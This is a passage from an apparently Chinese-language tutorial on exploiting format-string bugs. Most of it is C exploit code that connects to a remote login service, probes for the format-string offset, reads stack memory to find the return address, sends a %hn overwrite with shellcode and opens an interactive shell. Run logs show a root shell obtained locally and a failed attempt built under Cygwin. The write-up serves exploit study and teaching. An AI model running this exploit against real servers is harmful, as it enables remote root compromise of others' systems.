int get_offset(int sock,int * alinged) {

int i, j,offset = -1, len;
char fmt[128], buf[128];
char tmp1[128],tmp2[128];


for (j =0;j<4;j++)
{
if (j == 0)
{
strcpy(tmp1,"AAAA%%%d$x");
strcpy(tmp2,"AAAA41414141");
}
if (j == 1)
{
strcpy(tmp1,"AAAAa%%%d$x");
strcpy(tmp2,"AAAAa41414141");
}
if (j == 2)
{
strcpy(tmp1,"AAAAaa%%%d$x");
strcpy(tmp2,"AAAAaa41414141");
}
if (j == 3)
{
strcpy(tmp1,"AAAAaaa%%%d$x");
strcpy(tmp2,"AAAAaaa41414141");
}

for (i = 1; i<MAX_OFFSET && offset == -1; i++) {

snprintf(fmt, sizeof(fmt), tmp1, i);
write(sock, fmt, strlen(fmt));
memset(buf, 0, sizeof(buf));
sleep(1);
if ((len = read(sock, buf, sizeof(buf))) < 0) {
fprintf(stderr, "Error while looking for the offset (%d)\n", len);
close(sock);
exit(EXIT_FAILURE);
}

if (debug)
fprintf(stderr, "testing offset = %d fmt = [%s] buf = [%s] len = %d\n",
i, fmt, buf, len);

if (!strcmp(buf, tmp2))
{
offset = i;
*alinged = j;
goto OUT;
}
}//end for i

}//end for j
OUT:
return offset;
}


int main(int argc, char **argv)
{
char *ip = "127.0.0.1", *ptr;
struct sockaddr_in sck;
u_int read_at, addr_stack = (u_int)0xbfffe001; /* default bottom */
u_int addr_shellcode = -1, addr_buffer = -1, addr_ret = -1;
char buf[1024], fmt[128], c;
int port = 12345, offset = -1;
int sd, len, i;
int aligned;
int formatstring_counts = 0;
u_int formatstring1=0,formatstring2=0;
int use_format = 0;
int like_printf = 0;

while ((c = getopt(argc, argv, "dvi:p:a:o:")) != -1) {
switch (c) {
case 'i':
ip = optarg;
break;

case 'p':
port = atoi(optarg);
break;

case 'a':
addr_stack = strtoul(optarg, NULL, 16);
break;

case 'o':
offset = atoi(optarg);
break;

case 'v':
verbose = 1;
break;

case 'd':
debug = 1;
break;

default:
fprintf(stderr, "Unknwon option %c (%d)\n", c, c);
exit (EXIT_FAILURE);
}
}

/* init the sockaddr_in */
fprintf(stderr, "Using IP %s\n", ip);
sck.sin_family = PF_INET;
sck.sin_addr.s_addr = resolve(ip);
sck.sin_port = htons (port);

/* open the socket */
if (!(sd = socket (PF_INET, SOCK_STREAM, 0))) {
perror ("socket()");
exit (EXIT_FAILURE);
}

/* connect to the remote server */
if (connect (sd, (struct sockaddr *) &sck, sizeof (sck)) < 0) {
perror ("Connect() ");
exit (EXIT_FAILURE);
}
fprintf (stderr, "Connected to %s\n", ip);
if (debug) sleep(10);

/* send login */
memset (buf, 0x0, sizeof(buf));
len = read(sd, buf, sizeof(buf));
if (strncmp(buf, "login", 5)) {
fprintf(stderr, "Error: no login asked [%s] (%d)\n", buf, len);
close(sd);
exit(EXIT_FAILURE);
}
strcpy(buf, "alert7");
len = write (sd, buf, strlen(buf));
if (verbose) fprintf(stderr, "login sent [%s] (%d)\n", buf, len);
sleep(3);

/* passwd: shellcode in the buffer and in the remote stack */
len = read(sd, buf, sizeof(buf));
if (strncmp(buf, "password", 8)) {
fprintf(stderr, "Error: no password asked [%s] (%d)\n", buf, len);
close(sd);
exit(EXIT_FAILURE);
}
write (sd, "hi", 2);
if (verbose) fprintf (stderr, "passwd (hi) sent (%d)\n", len);
sleep(3);

/***********************************************************************/
/* find offset and aligned ,一般情况这个可以手动判断就可以了,不过程序判断
*也不麻烦
*/
if (offset == -1) {
if ((offset = get_offset(sd,&aligned)) == -1) {
fprintf(stderr, "Error: can't find offset\n");
fprintf(stderr, "Please, use the -o arg to specify it.\n");
close(sd);
exit(EXIT_FAILURE);
}
fprintf(stderr, "\n[Found offset = %d aligned %d ]\n\n", offset,aligned);
}
/***********************************************************************/

/* look for the address of the shellcode in the remote stack */
memset (fmt, 0x0, sizeof(fmt));
read_at = addr_stack;
get_addr_as_char(read_at, fmt);
snprintf(fmt+4, sizeof(fmt)-4, "%%%d$s", offset);
/*
*构造read_at%n$s,准备读read_at内存地址的内容
*/
write(sd, fmt, strlen(fmt));
sleep(1);

while((len = read(sd, buf, sizeof(buf))) >= 0 &&
(addr_shellcode == -1 || addr_buffer == -1 || addr_ret == -1) ) {
if (len ==0)
{
printf("remote machine close connection!!\naddr_stack too small,You can use -a addr adjust it\n ");
exit(0);
}

if (debug) fprintf(stderr, "Read at 0x%x (%d)\n", read_at, len);

/***********************************************************************/
//以下查找format string地址
/* the input buffer */
if (addr_buffer == -1 && (ptr = strstr(buf, fmt))) {
formatstring_counts++;
addr_buffer = read_at + (ptr-buf) - 4;
/*addr_buffer就是format string的地址*/
fprintf (stderr, "[buffer addr is: 0x%x (%d) ]\n", addr_buffer, len);
fprintf(stderr, "buf = (%d)\n", len);
for (i=0; i<len; i++) {
fprintf(stderr,"%.2x ", (int)(buf[i] & 0xff));
if (i && i%20 == 0) fprintf(stderr, "\n");
}
fprintf(stderr, "\n\n");
if (formatstring_counts==1)
{
formatstring1 = addr_buffer;
addr_buffer =-1;
}
if ( read_at > 0xbfffffe0 )
{
formatstring1 = addr_buffer;
like_printf = 1;
read_at = formatstring1 -4096 ;//只找到一个format string,表示类似printf(buf);
}
if (formatstring_counts==2)
{
//类似sprintf(buf,buf1);
formatstring2 = addr_buffer;
read_at = (formatstring1>formatstring2)?(formatstring2 -4096):(formatstring1 -4096);
/*欲从read_at地址查找snprintf的活动记录,可能4096太小了,但大部分还是够了的*/
}

}
/***********************************************************************/

/***********************************************************************/
/*查找snprintf(tmp, sizeof(tmp)-1, buf)的活动记录
* formatstring1和2是tmp,buf的地址
* xx xx ff bf xx xx 04 08 formatstring1 xx xx xx xx formatstring2
* 或者
* xx xx ff bf xx xx 04 08 formatstring2 xx xx xx xx formatstring1
*/
if (addr_buffer != -1) {
i = 4;
while (i<len-5 && addr_ret == -1) {
if (!like_printf)
{ //like sprintf have two format string
if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08 &&
( ( *(int*) &buf[i+6] ==formatstring1 ) || ( *(int*) &buf[i+6] ==formatstring2 ) )
) {
if ( *(int*) &buf[i+6] ==formatstring1 )
use_format = 2;
else
use_format = 1;

addr_ret = read_at + i - 2 + 4 - 4;
printf("addr_ret %p\n",addr_ret);
if ( (addr_ret & 0xff)* ( (addr_ret >> 8) & 0xff) *( (addr_ret >> 16) & 0xff) * ((addr_ret >> 24) & 0xff) ==0 )
addr_ret = -1;
else fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
}//end if
i++;
}//end if like_printf
else {
//like printf have only format string
if (buf[i] == (char)0xff && buf[i+1] == (char)0xbf &&
buf[i+4] == (char)0x04 && buf[i+5] == (char)0x08 &&
( *(int*) &buf[i+6] ==formatstring1 )
) {
use_format = 1;
addr_ret = read_at + i - 2 + 4 - 4;
printf("addr_ret %p\n",addr_ret);
if ( (addr_ret & 0xff)* ( (addr_ret >> 8) & 0xff) *( (addr_ret >> 16) & 0xff) * ((addr_ret >> 24) & 0xff) ==0 )
addr_ret = -1;
else fprintf (stderr, "[ret addr is: 0x%x (%d) ]\n", addr_ret, len);
}//end if
i++;
}//end else like_printf
}//end while
}//end if
/***********************************************************************/

/***********************************************************************/
if (addr_ret != -1 )
{
if (use_format ==1)
addr_shellcode = formatstring1+8+aligned+20+8;
if (use_format ==2)
addr_shellcode = formatstring2+8+aligned+20+8;

}
/***********************************************************************/
read_at += (len-4+1);
if (len == sizeof(buf)) {
fprintf(stderr, "Warning: this has not been tested !!!\n");
fprintf(stderr, "len = %d\nread_at = 0x%x", len, read_at);
read_at-=strlen(shellcode);
}
get_addr_as_char(read_at, fmt);
write(sd, fmt, strlen(fmt));

} //end while

fprintf (stderr, "\naddr-ret %p addr_shellcode %p\n",addr_ret,addr_shellcode);
/* send the format string */
fprintf (stderr, "\nBuilding format string and send shellcode \nwaiting for get a shell if succeed...\n\n");
memset(buf, 0, sizeof(buf));
build_hn(buf, addr_ret, addr_shellcode, offset, 0,aligned);

write(sd, buf, strlen(buf));
sleep(1);

interact(sd);

close(sd);
return 0;
}


实验一: 本地redhat的
[alert7@redhat72 format]$ gcc -o e e.c
[alert7@redhat72 format]$ ./e
Using IP 127.0.0.1
Connected to 127.0.0.1

[Found offset = 6 aligned 0 ]

[buffer addr is: 0xbffff070 (12) ]
buf = (12)
70 f0 ff bf 70 f0 ff bf 25 36 24 73

[buffer addr is: 0xbffff470 (8) ]
buf = (8)
70 f4 ff bf 70 f4 ff bf

addr_ret 0xbffff04c
[ret addr is: 0xbffff04c (34) ]

addr-ret 0xbffff04c addr_shellcode 0xbffff094

Building format string and send shellcode
waiting for get a shell if succeed...

low 61588;TWO 8;start 65536;base 0;offset 6;high 49151

4c f0 ff bf 4e f0 ff bf 25 2e 31 32 37 31 31 36 78 25 36 24 6e
25 2e 35 33 30 39 39 78 25 37 24 68 6e

Linux redhat72 2.4.7-10 #1 Thu Sep 6 17:27:27 EDT 2001 i686 unknown
uid=0(root) gid=100(users)


实验二: 远程cygwin下编译的

$ ./e -i 192.168.168.200
Using IP 192.168.168.200
Connected to 192.168.168.200

[Found offset = 6 aligned 0 ]

[buffer addr is: 0xbffff070 (12) ]
buf = (12)
70 f0 ff bf 70 f0 ff bf 25 36 24 73

[buffer addr is: 0xbffff470 (8) ]
buf = (8)
70 f4 ff bf 70 f4 ff bf

addr_ret 0xbffff04c
[ret addr is: 0xbffff04c (34) ]

addr-ret 0xbffff04c addr_shellcode 0xbffff094

Building format string and send shellcode
waiting for get a shell if succeed...

low 61588;TWO 8;start 65536;base 0;offset 6;high 49151

4c f0 ff bf 4e f0 ff bf 25 2e 2d 33 39 35 36 78 25 36 24 6e 25
2e 2d 31 32 34 33 37 78 25 37 24 68 6e


sztcww@SZTCWW1 ~
$没有成功

faint~~,为什么在cygwin下编译的程序没有成功呢?
这个问题又使我郁闷了一阵,结果后来发现他们唯一不同的地方就是
Building format string的时候,也就是在函数build_hn()中
i = snprintf(buf + sz+alinged, MAX_FMT_LENGTH,
"%%.%hdx%%%d$n%%.%hdx%%%d$hn",
low - TWO + start - base,
offset,
high - low + start,
offset + 1);
snprintf()的各个参数都一样

在一般的linux redhat中产生的format string为
25 2e 31 32 37 31 31 36 78 25 36 24 6e
25 2e 35 33 30 39 39 78 25 37 24 68 6e

在cygwin下产生的format string为
25 2e 2d 33 39 35 36 78 25 36 24 6e 25
2e 2d 31 32 34 33 37 78 25 37 24 68 6e

现在唯一的解释就是cygwin下实现的*printf和linux redhat实现的不一样。
从而产生的结果也不一样。

具体在cygwin下编译的snprintf为什么会得出那样的结果我还没有找出原因来。
回头有空慢慢找吧。
所以建议在写format string exploit的时候,不要拿cygwin做实验环境,
不然的话也会象我一样郁闷好一阵子。

------------------------------------------------------------------------


--[ Bibliography ]--

1. More info on format bugs par P. "kalou" Bouchareine
(http://www.hert.org/papers/format.html)

2. Format Bugs: What are they, Where did they come from,... How to
exploit them par lamagra
(lamagra@digibel.org <lamagra@digibel.org>)

3. �viter les failles de s�curit?d�s le d�veloppement d'une
application - 4 : les cha�nes de format par F. Raynal, C.
Grenier, C. Blaess
(http://minimum.inria.fr/~raynal/index.php3?page=121 ou
http://www.linuxfocus.org/Francais/July2001/article191.shtml)

4. Exploiting the format string vulnerabilities par scut (team TESO)
(http://www.team-teso.net/articles/formatstring)

5. fmtbuilder-howto par F. Raynal et S. Dralet
(http://minimum.inria.fr/~raynal/index.php3?page=501)